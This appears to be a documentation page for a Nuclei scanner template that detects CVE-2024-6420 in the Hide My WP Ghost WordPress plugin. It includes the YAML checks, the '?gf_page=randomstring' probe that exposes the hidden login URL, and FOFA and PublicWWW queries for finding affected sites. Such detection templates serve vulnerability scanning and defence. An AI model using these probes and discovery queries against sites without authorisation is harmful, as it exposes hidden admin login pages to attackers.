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Hide My WP Ghost < 5.2.02 - Hidden Login Page Disclosure

ID: CVE-2024-6420

Severity: high

Author: jpg0mez

Tags: cve,cve2024,bypass,wp,wp-plugin,wpscan,wordpress,hide-my-wp

Description

Section titled “Description”

The Hide My WP Ghost plugin does not prevent redirects to the login page via the auth_redirect WordPress function, allowing an unauthenticated visitor to access the hidden login page.

YAML Source

Section titled “YAML Source”
id: CVE-2024-6420


info:
  name: Hide My WP Ghost < 5.2.02 - Hidden Login Page Disclosure
  author: jpg0mez
  severity: high
  description: |
    The Hide My WP Ghost plugin does not prevent redirects to the login page via the auth_redirect WordPress function, allowing an unauthenticated visitor to access the hidden login page.
  remediation: Fixed in 5.2.02
  reference:
    - https://wpscan.com/vulnerability/dfda6577-81aa-4397-a2d6-1d736f9ebd44/
    - https://www.sprocketsecurity.com/resources/discovering-wp-admin-urls-in-wordpress-with-gravityforms/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6420
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
    cvss-score: 8.6
    cve-id: CVE-2024-6420
    epss-score: 0.00043
    epss-percentile: 0.09914
  metadata:
    verified: true
    max-request: 2
    framework: wordpress
    fofa-query: body="/wp-content/plugins/hide-my-wp"
    publicwww-query: "/wp-content/plugins/hide-my-wp/"
  tags: cve,cve2024,bypass,wp,wp-plugin,wpscan,wordpress,hide-my-wp


flow: http(1) && http(2)


http:
  - method: GET
    path:
      - "{{BaseURL}}"


    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/hide-my-wp")'
          - 'status_code == 200'
        condition: and
        internal: true


  - method: GET
    path:
      - "{{BaseURL}}/?gf_page=randomstring"


    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "!contains(tolower(location), 'wp-login.php')"


      - type: word
        part: header
        words:
          - '%2F%3Fgf_page%3Drandomstring&reauth=1'


    extractors:
      - type: kval
        kval:
          - location
# digest: 490a004630440220759d0816c55706cd97281ac05849149fe2e25c9dd1d721938f6a831468b8263e022060ad22bb2a519b555686b23cb0477c4bf6c9373f021868a7558b231b260e0b15:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-6420.yaml"

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